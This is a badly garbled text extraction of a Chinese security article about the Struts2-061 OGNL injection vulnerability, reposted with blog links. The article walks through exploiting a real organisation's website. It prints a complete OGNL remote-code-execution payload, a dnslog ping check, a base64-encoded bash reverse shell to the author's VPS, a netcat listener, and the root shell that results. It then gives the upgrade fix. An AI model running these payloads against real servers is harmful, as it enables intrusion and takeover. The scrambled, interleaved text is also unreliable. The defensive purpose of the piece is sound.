admin 管理员组

文章数量: 1184232


2023年12月23日发(作者:模块建房选择哪种连接件的好)

了互联网+安全internet Security基于“Stmts2-061”漏洞谈网络安全问题防范□孙海波国家广播电视总局广播电视科学研究院

王刚河北省张家口市怀来县大黄庄镇大黄庄小学【摘要】 本文就一起"Struts2-06V’网络安全漏洞事件,详细介绍了该漏洞的验证步骤、原理、修复方法,如何做好网站的安全

漏洞防范,防止黑客利用此漏洞对目标服务器进行数据窃取、篡改、破坏,或植入后门、挂马等恶意操作。【关键词】网络安全漏洞远程代码执行OGNL表达式网站的作用越来越大,无论企业还是个人都离不幵网站。

网站是由各类网页集合而成的,而网页的实质就是一个html

文件,因而网站是由许多的html文件构成的。网站在搭建

过程中,需要使用各种各样的框架,比如Struts、Spring、

架确定响应结果对应视图中的用户请求。验证详细步骤如下。1.1对目标网站进行数据包抓取通过使用hurpsuite工具对该网站进行数据包抓取,

hurpsuite工具是用于攻击、测试web应用程序的集成平台,

包含了许多工具,并为这些工具设计了许多接口,以加快攻

击、测试应用程序的过程,能快速处理网站对应的HTTP消

息、认证、代理、日志、警报等。抓包结果如图1所示。1.2修改发送请求我们将响应结果发送到hurpsuite工具的repeater里,并

对发送的数据包进行修改。因为我们需要重新发送请求数据,

所以将请求方式由GET改为POST。数据包主要修改两个内

容,一是修改Content-Type为常见的POST数据内容提交类

型multipart/form-data,二是修改payload。另外,我们可以看到生成了一条记录bminrlary分割线符,其值为-----WebKHibernate等。不同的应用程序框架具有不同的特点,在使用

过程中,可能存在不同的安全隐患。Struts2 是一*个基于

MVC (

Model

View

Controller,模型视

图控制器)设计模式的Weh应用程序框架,它既是Strntsl

的升级版本,更是一个全新的Struts架构。因为Struts2使用

MVC设计模式,该模式中的模型、视图、控制器三个层次

各司其职,所以StrutS2框架也面临一个问题,即用户数据在

不同层次流转的问题。为了解决这一问题,提高访问速度,

Struts2 框架采用

OGNL (

Object—Graph

Navigation

Language,

对象图导航语言)来操作,即Struts 2默认的表达式语言是

OGNL,OGNL可以协助框架用非常简单的表达式访问不同

的对象层。本文就从笔者实际工作中遇到的一起StmtS2-061漏洞

事件谈起,从该漏洞的验证方法、产生原理、漏洞危害、修

复手段几个方面出发,全面地介绍StrutS2-061漏洞的相关

内容,希望能对广大读者有所帮助。一、事件经过笔者于2021年1月8日发现某单位门户网站存在网络

安全漏洞,并向该单位进行了通报,漏洞详细情况如下:

漏洞名称为Struts2-061漏洞;漏洞

数量1个;漏洞等级为高危;漏洞地址为

192.---.---. 133/Boundaryl7dlBlaGsV2wcZwF,也就是说我们只要输入

这一值就相当于输入了一条分割线。具体修改内容为:Content—Type:

multipart/form—data;

houndary=----WebKitFormBoundaryl7d 1B1

aGsV 2wcZwF空一行-------WebKitFormBounrlaryl7d 1

B1

aGsV 2wcZwFContent—Disposition:

form—data;

name=M

id”空一行(payload )action(“---”代表网站部分URL地址);漏洞描述为,Apache

Structs2在使用某

些标签属性时,可能存在0GNL表达

式注入漏洞,从而造成远程代码执行,目标服务器被提权,风险极大。漏洞验证前,我们看到该网址后

缀为“.action”,则可判断该网站使用

框架为

Apache

Struts2。Action 对象是

Struts2框架的核心,每个URL地址都

映射到特定的Action对象中,Action

对象对来自用户的请求提供处理逻辑,它有两个重要功能:一是将用户请求

数据传递到框架视图中,二是协助框图1网站请求数据包119

互联网+安全nternet Security-------WebKitFormBoundaryl7d 1B1

—具体payload为:%{(#instancemanager=#[ **.

送数据包如图3所示。InstanceManager” ]).(#stack=#attr[ “2.

tack” ]).(#bean=#instancemanager.

newlnstance(

p^ )).

(#n(#stack)).(#context=#( “context”)).(#bean.

60.215.138.161

124.65.18.69

2020-12-2814:33282020-12-2814:33:25setBean(#context)).(#macc=#( 44

member

Access

M ))•

(#

Bean(#macc)).(#emptyset = #instancemanager.

newlnstance( “t” )).(#(

“excludedCl

asses” ,#emptyset)).(#( “excludeciPackageNames” ,#

emptyset)).(#arglist=#tance( “.

ArrayList” )).(#( “id”)).(#execute=#instancemanager.

newlnstance( “e” )).(#execute.

exec(#arglist)))1.3用网站进行数据监测修改payload中的参数并执行,我们使用

网站进行数据监测,首先开启Dnslog,其中4puott.

为网站的临时域名,如图2所7K。图4

Dnslogxn网站接收到响应发送数据请求后,我们可以在网站上看到

有数据记录,证明目标网站执行了我们修改的ping 4puott.

命令,也就是实现了远程代码执行,因而可以证明

该网站存在Struts2-061漏洞,如图4所7K。1.5对目标服务器进行端口反弹在上一步中已实现了远程代码执行,那我们就尝试用nc

工具(NetCat,一款网络工具,可通过TCP或UDP协议传

输读写数据,对服务器端口进行扫描、监听)进行端口反弹,

对目标服务器进行提权。保险起见,在执行端口反弹命令

前,我们先将反弹命令进行编码加密,这样可以在一定程度

上防止被WAF、防火墙等设备拦截,编码网站:www.

jackson—/runtime—exec—,如图 5 所7K〇Input type:曹)Bash

够 PowerShell Python • Perl/bin/bash -i >& /dev/tcp/175; ■ |fc 240/7777 0>41图2

网站临时域名展7K

1.4执行修改后的请求数据包在burpsuite的repeater工具中将参数值改

为“”,意思表7K我们通过目标主机来

.. ________

{base64, -d}|{bash, ~i)^ ^ …. __ .•…—.........,,ping 网址 (

网站的临时域名),发■aw Params Headers | H«x |POST /index, action HTTP/1.

1Host:

192. .-v

133:8080Upgrade-Insecure-Requests:

1User-Agent: Mozilla/5.

0 (WindowsNT

10.0. Win64. x64) AppleWebKit/537.

36 (KHTML, likeGecko) Chrome/87.

0.

4280.

88 Safari/537.

36Accept:text/html, application/xhtml+xml, application/xml ;q=0.

9, image/avif, image/webp, image/apng, */*;q=0.

8, application/signed-exchange;v=b3;q=0.

9

Accept-Language: zh-CN, zh;q=0.

9Cookie: _ga=GAl.

1.

1158596059.

1609320655; JSESSr〇NID=node09xlaq30hjrgwlgtdkdktll51qO. nodeOConnection: closeContent-Type: naaltipart/form-data. boundary=------WebKitFormBoundarylTdIBlaGsVSwcZsri7Content-Length:

829WebK i tF ormBoundar y17dlB1aGsV2wcZwFContent-Disposition: form-data; nameid"(«instancemanager=#application[*"org. apache, tomcat. InstanceManager"]). (#stack=#attr[',com. opensymphony. xwork2. util. ValueStack. ValueStack"]). (#bean=#instancemanager. nearinstance (~org. apache. commons, collections. BeanMap")). (#bean. setBeanJr«stack)). (#context=#bean. get ("context")). (#bean. setBean(#context)). (#macc = #bean. getAccess")). (#bean. setBean(#macc)). (#emptyset=

#instancemanager. newlnstance(" java. util. (#bean. put("excludedClasses", #emptyset)).

(#bean. put ("excludedPackageNames", ffemc^^ret)). (#arglist=#instancemanager. newlnstance (* java, u

til. ArrayList")). (iarglist. add("ping4puott. dnslog. cnT)). (#execute=#instancemanagor. newlnstance("froemarker. template, utility. Exec

ute~)). (#execut^*xec (#arglist)) }----------WebKitFormB^lN(Jaryl'rdlBlaGsV2wcZiriJ--图5| Raw ) Head

1

200Connection: cDate: Fri,

08Content-LanguContent-Type:Content-LengtServer: Jetty对反弹命令编码反弹命令为 “/bin/bash

-i >& /dev/

j

j

tcp/175.——.―-.240/7777 0>&1”,其

中175.---.---.240为我方虚拟专用

VPS服务器的IP地址,7777为监听

的端口,编码后的字符如图5所示,

并将编码后的字符复制到payload中

的参数里,执行发送数据

请求,如图6所示。然后在我们的VPS服务器上(root@miss-vps ~ )运行命令

“nc -

S:</head><body><a id’"" href</p><p style="text-indent: 2em;";>has</body></html>lvnp 7777”,即监听端口 7777,如图 </p><p style="text-indent: 2em;";>7所示。其中nc.命令参数介绍如下:-1 </p><p style="text-indent: 2em;";>指使用监听模式,管控传入的资料;-v </p><p style="text-indent: 2em;";>指显示指令执行过程;-ri指直接使用 </p><p style="text-indent: 2em;";>IP地址,而不通过域名服务器;_p< </p><p style="text-indent: 2em;";>通信端口 >指设置本地主机使用的通 </p><p style="text-indent: 2em;";>图3120向网站发送请求数据信端口。</p><p style="text-indent: 2em;";>了internet </p><p style="text-indent: 2em;";>互联网+Security安全POST /index, action HTTP/1.1 </p><p style="text-indent: 2em;";>HTTP/1. 1 200 CM </p><p style="text-indent: 2em;";>—、漏洞原理Host: 192. _ # 133:8080 </p><p style="text-indent: 2em;";>Connection: cl« </p><p style="text-indent: 2em;";>Upgrade-Insecure-RequestsDate: Fri, 08 . </p><p style="text-indent: 2em;";>2020 年 12 月, </p><p style="text-indent: 2em;";>: 1User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64) AppleWebKit/537. 36 (KHTML, likeContent-Languaj </p><p style="text-indent: 2em;";>Apache Struts </p><p style="text-indent: 2em;";>官方披 </p><p style="text-indent: 2em;";>Gecko) Chrome/87. 0. 4280. 88 Safari/537. 36Content-Type: </p><p style="text-indent: 2em;";>Accept:Content-Length </p><p style="text-indent: 2em;";>露了编号为S2-061的 </p><p style="text-indent: 2em;";>text/html, application/xhtml+xml, application/xml .q=0. 9, image/avif, image/webp, image/apng, </p><p style="text-indent: 2em;";> </p><p style="text-indent: 2em;";>〇 </p><p style="text-indent: 2em;";>Server: Jetty (*0. 8, application/signed-exchange.v=b3;q=0. 9 </p><p style="text-indent: 2em;";>远程代码执行漏洞, </p><p style="text-indent: 2em;";>Accept-Language: zh-CN, zh:q=0. 9Cookie: _ga=GAl. 1. 1158596059. 1609320655; JSESSI0NID=node09xlaq30hjrgwlgtdkdktl151q0. nodeO </p><p style="text-indent: 2em;";>CVE编号为CVE- </p><p style="text-indent: 2em;";>Connection: closeContent-Type: multipart/form-data . boundary:---WebKitFormBoundary17d1B1aGsV2wcZwF2020-17530。 Apache </p><p style="text-indent: 2em;";>Content-Length: 829StrutS2框架是一个用 </p><p style="text-indent: 2em;";>------WebK i tPormBoundar y 17dl B1 aGsV2wcZwFContent-Disposition: form-data; name="id**</head>于开发Java EE网络应 </p><p style="text-indent: 2em;";><body>%{ (#instancemanager=#application[<*org. apache, tomcat. InstanceManager~]). (#stack=#attr [~com. ope href用程序的Web框架, </p><p style="text-indent: 2em;";>nsymphony. xwork2. util. ValueStack. ValueStack^]). (#bean=#instancemanager. newlnstance ("org. apac >hashe. commons, collections. BeanMap-)). (#bean. setBean (#stack) ). (#context=#bean. get (""context*) ). (# </p><p style="text-indent: 2em;";></body>在使用某些标签时可 </p><p style="text-indent: 2em;";>bean. setBean(tcontext)) . (#macc=#bean. get("memberAccess")). (#bean. setBean(#macc)) . (#emptyset= </html>Ifinstancemanager. newlnstance (" java. util. HashSet**)). (Obean. put (^excludedClasses*, ttemptyset)). </p><p style="text-indent: 2em;";>能存在OGNL表达式 </p><p style="text-indent: 2em;";>(#bean_ put (""excludedPackageNames' ttemptyset)). (#arglist=#instancemanager. newlnstance(* java, u </p><p style="text-indent: 2em;";>til. ArrayList") ). (#arglist. add(~bash -c注入漏洞的情况,从 </p><p style="text-indent: 2em;";>{echo, L2Jpbi9iYXNoIClpID4mIC9k2» f*rtwLzE3NS4yNC4xMDUuMj〇wLzc3NzcgMD4mMQ==}I{base64, -d}I{bas </p><p style="text-indent: 2em;";>h, -i}"*)). (#execute=#instancemanager. newlnstamce("freemarkor. template, utility. Execute")). (#ex而造成远程代码执行, </p><p style="text-indent: 2em;";>ecute. exec(#arglist))}------WebK i tF ormBoundar y17 d1B1aGsV 2wcZwF--风险极大。在Struts2标签属 </p><p style="text-indent: 2em;";>性中强制使用OGNL </p><p style="text-indent: 2em;";>图6在burpsuite工具上执行反弹命令 表达式,并可被外部H server rejected Xll forwarding reque </p><p style="text-indent: 2em;";>修改时,攻击者就可以构造恶意的OGNL表达式触发网络安 </p><p style="text-indent: 2em;";>Dec 28 14:44:22 CST 2020 from 140.21C </p><p style="text-indent: 2em;";>全漏洞。StrutS2会对某些标签属性(比如'id',其他属性未知) </p><p style="text-indent: 2em;";>l login attempts since the last success </p><p style="text-indent: 2em;";>17:05:13 2020 from 115.171.245.118 </p><p style="text-indent: 2em;";>的属性值进行二次表达式解析,因此当这些标签属性中使用 </p><p style="text-indent: 2em;";>-Ivnp 7777ttps:///ncat )了且'X'的值可被用户控制修改时,用户再传入一 </p><p style="text-indent: 2em;";>7777•0.0:7777个、%{payload)',即可造成OGNL表达式执彳了。在我们上面 </p><p style="text-indent: 2em;";>提到的漏洞验证过程中,就是对payload中( “id”) </p><p style="text-indent: 2em;";>进行了修改,将id参数修改了两次,一次是修改为“ping </p><p style="text-indent: 2em;";>”,另一次是修改为端口反弹命令,结果这 </p><p style="text-indent: 2em;";>图7服务器监听 </p><p style="text-indent: 2em;";>两个修改后的payload都被成功执行,进而造成远程代码执 </p><p style="text-indent: 2em;";>1.6端口反弹成功行。在burpsuhe工具上执行shell命令,并将数据反弹至 </p><p style="text-indent: 2em;";>StrutS2-061漏洞正是利用了这一弱点,可造成远程代码 </p><p style="text-indent: 2em;";>我方VPS服务器7777端口,我们已成功登陆目标服务器 </p><p style="text-indent: 2em;";>执行,进而达到攻击者控制目标服务器的目的。(root@0a0b2hd89d8f),如图8所示。至此漏洞验证结束, </p><p style="text-indent: 2em;";>三、修复方法我们未进行深层次操作,可判断该网站存在远程代码执行漏 </p><p style="text-indent: 2em;";>对于Struts2-061漏洞,我们应该及时升级Struts2版本。 </p><p style="text-indent: 2em;";>洞、存在Struts2-061漏洞。目前官方已在新版本中修复了该漏洞,升级到Struts 2.5.26[root(9miss-vps -]# nc -Ivnp 7777 </p><p style="text-indent: 2em;";>及更高版本便可修复Struts2-061漏洞,下载地址: </p><p style="text-indent: 2em;";>Neat: Version 7.50 ( /ncat ) </p><p style="text-indent: 2em;";>INcat: Listening on :::7777 </p><p style="text-indent: 2em;";>/。另外,在升级前应做好数据备 </p><p style="text-indent: 2em;";>Neat: Listening on 0.0.0.0:7777份工作,避免出现意外情况。四、结束语Neat: Connection from 114.: - *'*■' : Connection from 114.7一 3.186:27227.这次发现的StrutS2-061漏洞,是利用了攻击者再传入 </p><p style="text-indent: 2em;";>bash: cannot set terminal process group (1): Inappropri;bash: no job control in this shell一个'%{payl〇ad}',即可造成OGNL表达式执行,导致远程 </p><p style="text-indent: 2em;";>root@0a〇b2bd89d8f:/usr/src#root(a〇a0b2bd89d8f: /usr/s rc#代码执行,目标服务器被控制,网站很容易被植入后门。 </p><p style="text-indent: 2em;";>root(a〇a0b2bd89d8f: /us r/s rc#2020年上半年,境内外约1.8万个IP地址对我国境内约3.59 </p><p style="text-indent: 2em;";>root@0a0b2bd89d8f:/usr/src# ipcontgi^H^H^H </p><p style="text-indent: 2em;";>万个网站植人后门,我国境内被植入后门的网站数量较2019 </p><p style="text-indent: 2em;";>ipconbash: ipcon: command not found </p><p style="text-indent: 2em;";>年上半年增长36.9%m。root@0a0b2bd89d8f:/usr/src# id </p><p style="text-indent: 2em;";>id对网站的安全防护是一个长期性的工作,没有捷径可走。 </p><p style="text-indent: 2em;";>uid=0(root) gid=0(root) groups=0(root) </p><p style="text-indent: 2em;";>root(90a0b2bd89d8f:/usr/src# whoami </p><p style="text-indent: 2em;";>除了定期对网站进行网络安全漏洞扫描外,技术人员平时还 </p><p style="text-indent: 2em;";>whoami要多关注网络安全讯息,以避免自己网站存在漏洞被攻陷。 </p><p style="text-indent: 2em;";>这就要求我们要多了解、多学习、与时俱进,不断提升自己 </p><p style="text-indent: 2em;";>图8反弹命令执行成功的技术水平,以高度的责任心做好网络安全防护工作。参考文献[1】2020年上半年我国互联网网络安全监测数据分析报告.国家计算机网络应急技术处理协 </p><p style="text-indent: 2em;";>调中心.2020年9月.9-10页.121</p></div><br><p><h2></h2></p> <!-- 附件 --> <p class="tag"> 本文标签: <a style="margin-right: 10px" href="/tag/455.html" target="_blank">网站</a> <a style="margin-right: 10px" href="/tag/812.html" target="_blank">漏洞</a> <a style="margin-right: 10px" href="/tag/238.html" target="_blank">进行</a> <a style="margin-right: 10px" href="/tag/239.html" target="_blank">数据</a> <a style="margin-right: 10px" href="/tag/809.html" target="_blank">请求</a> </p> <div class="roclinux-cn copyright"> <blockquote> <p> 版权声明:本文标题:基于“Struts2-061”漏洞谈网络安全问题防范 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:<a href="http://www.roclinux.cn/b/1703306463a446260.html">http://www.roclinux.cn/b/1703306463a446260.html</a>, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。 </p> </blockquote> </div> </div> <div class="roclinux-cn block-wrap single-relative"> <h2 class="block-title"> 更多相关文章 </h2> <div class="roclinux-cn post-list"> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1772051624a3551569.html" title="Uniapp与SpringBoot联袂出击,快速搞定微信小程序登录权限问题">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Uniapp与SpringBoot联袂出击,快速搞定微信小程序登录权限问题">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1772051624a3551569.html" class="post-item-title" title="Uniapp与SpringBoot联袂出击,快速搞定微信小程序登录权限问题"> <h3>Uniapp与SpringBoot联袂出击,快速搞定微信小程序登录权限问题</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">微信小程序登入 前端登入流程 1-获取code2-获取昵称 头像3-把code 昵称 头像 封装成data对象4-调用登入接口 传入data对象5-把请求结果token缓</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1772318004a3554568.html" title="探索GIS文件的秘密武器,解析技巧与应用秘籍">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="探索GIS文件的秘密武器,解析技巧与应用秘籍">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1772318004a3554568.html" class="post-item-title" title="探索GIS文件的秘密武器,解析技巧与应用秘籍"> <h3>探索GIS文件的秘密武器,解析技巧与应用秘籍</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">1. 从零开始:GIS文件格式到底是什么? 如果你刚接触GIS(地理信息系统),可能会被一堆文件格式搞得晕头转向。别担心,这很正常。简单来说,GIS文件格式就是用来存储地理空间数据的“容器”,就像我们平时用的Word文档存文字</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1772414595a3555667.html" title="NRG文件编辑之旅:从基础知识到进阶技能全面梳理">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="NRG文件编辑之旅:从基础知识到进阶技能全面梳理">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1772414595a3555667.html" class="post-item-title" title="NRG文件编辑之旅:从基础知识到进阶技能全面梳理"> <h3>NRG文件编辑之旅:从基础知识到进阶技能全面梳理</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">NRG 文件是光盘映像文件的一种,通常用于存储光盘的完整副本,包括数据、文件系统和光盘的结构。在本文中,我将向您介绍如何打开和编程处理 NRG 文件。 要处理 NRG 文件,您可以使用开源的工具或库来读取和提取其中的数据。下面</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1772428230a3555818.html" title="SSD基础知识大汇总:理解硬盘读写原理,掌握FTL、TRIM与写入放大效应">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="SSD基础知识大汇总:理解硬盘读写原理,掌握FTL、TRIM与写入放大效应">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1772428230a3555818.html" class="post-item-title" title="SSD基础知识大汇总:理解硬盘读写原理,掌握FTL、TRIM与写入放大效应"> <h3>SSD基础知识大汇总:理解硬盘读写原理,掌握FTL、TRIM与写入放大效应</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">前言 大家好,我是jiantaoyab,本篇文章我们来看看SSD硬盘和FTL、磨损均衡,SSD 硬盘,适合读多写少的应用,使用寿命受限于可以擦除的次数。 SSD 的读写原理 SSD 没有像机械硬盘那样的寻道过程</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1772472201a3556316.html" title="掌握Qt剪贴板操作:让你的程序也能复制粘贴">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="掌握Qt剪贴板操作:让你的程序也能复制粘贴">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1772472201a3556316.html" class="post-item-title" title="掌握Qt剪贴板操作:让你的程序也能复制粘贴"> <h3>掌握Qt剪贴板操作:让你的程序也能复制粘贴</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">剪贴板介绍 我们这里以 Windows 为例进行说明,其他桌面操作系统类似。 Windows剪贴板是Windows操作系统中一个非常基础且强大的功能,它允许用户在不同应用程序之间复制和粘贴文本、图片、文件等数据。剪贴板</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1772608621a3557286.html" title="C盘空间紧张?试试删除pagefile.sys和hiberfil.sys来释放空间">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="C盘空间紧张?试试删除pagefile.sys和hiberfil.sys来释放空间">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1772608621a3557286.html" class="post-item-title" title="C盘空间紧张?试试删除pagefile.sys和hiberfil.sys来释放空间"> <h3>C盘空间紧张?试试删除pagefile.sys和hiberfil.sys来释放空间</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">通过移除 pagefile.sys 和 hiberfil.sys 文件释放C盘空间(不推荐) 点击查看 -> 选项 -> 文件夹选项 -> 查看, 取消勾选 “ 隐藏受保护的操作系统文件(推荐)” ,选择“显示</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1773420078a3561735.html" title="电脑数据丢失不慌张:EasyRecovery快速恢复你的文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑数据丢失不慌张:EasyRecovery快速恢复你的文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1773420078a3561735.html" class="post-item-title" title="电脑数据丢失不慌张:EasyRecovery快速恢复你的文件"> <h3>电脑数据丢失不慌张:EasyRecovery快速恢复你的文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">21天前</div> </div> <p class="post-item-summary">在我们日常清理电脑时,有时会意外删除一些有用的文件,比如重要文件、照片等。这时就需要使用数据恢复软件尝试恢复数据。 EasyRecovery是一款强大有效实现数据恢复的软件,软件占用空间小,就算你是XP系统也能轻松驾驭。界面简</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1773473808a3562339.html" title="在32位与64位之间:操作系统的内存与处理器挑战">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="在32位与64位之间:操作系统的内存与处理器挑战">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1773473808a3562339.html" class="post-item-title" title="在32位与64位之间:操作系统的内存与处理器挑战"> <h3>在32位与64位之间:操作系统的内存与处理器挑战</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">21天前</div> </div> <p class="post-item-summary">64位系统和32位系统的区别:操作系统只是硬件和应用软件中间的一个平台 32位操作系统针对的32位的CPU设计 64位操作系统针对的64位的CPU设计 我们的CPU从原来的8位,16位,</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1773493741a3562566.html" title="Adobe Flash Player让你的.NRG文件编程之旅变得简单">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Adobe Flash Player让你的.NRG文件编程之旅变得简单">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1773493741a3562566.html" class="post-item-title" title="Adobe Flash Player让你的.NRG文件编程之旅变得简单"> <h3>Adobe Flash Player让你的.NRG文件编程之旅变得简单</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">20天前</div> </div> <p class="post-item-summary">NRG 文件是光盘映像文件的一种,通常用于存储光盘的完整副本,包括数据、文件系统和光盘的结构。在本文中,我将向您介绍如何打开和编程处理 NRG 文件。 要处理 NRG 文件,您可以使用开源的工具或库来读取和提取其中的数据。下面</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1773494650a3562578.html" title="NRG文件不再难:Flash开发者指南与实战技巧">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="NRG文件不再难:Flash开发者指南与实战技巧">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1773494650a3562578.html" class="post-item-title" title="NRG文件不再难:Flash开发者指南与实战技巧"> <h3>NRG文件不再难:Flash开发者指南与实战技巧</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">20天前</div> </div> <p class="post-item-summary">NRG 文件是光盘映像文件的一种,通常用于存储光盘的完整副本,包括数据、文件系统和光盘的结构。在本文中,我将向您介绍如何打开和编程处理 NRG 文件。 要处理 NRG 文件,您可以使用开源的工具或库来读取和提取其中的数据。下面</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1773597168a3563766.html" title="机械硬盘损坏,数据还能起死回生吗?揭秘数据恢复秘籍">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="机械硬盘损坏,数据还能起死回生吗?揭秘数据恢复秘籍">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1773597168a3563766.html" class="post-item-title" title="机械硬盘损坏,数据还能起死回生吗?揭秘数据恢复秘籍"> <h3>机械硬盘损坏,数据还能起死回生吗?揭秘数据恢复秘籍</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">电脑硬盘坏了数据可以恢复吗?对于这种问题,还需要具体问题具体分析的,一般是可以恢复。 硬盘损坏可以分为物理损坏和逻辑损坏两种情况: 1.逻辑损坏 这通常是由于软件问题,如文件系统错误、病毒攻击、误删除、格式化等</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1773643748a3564301.html" title="深入Windows Phone 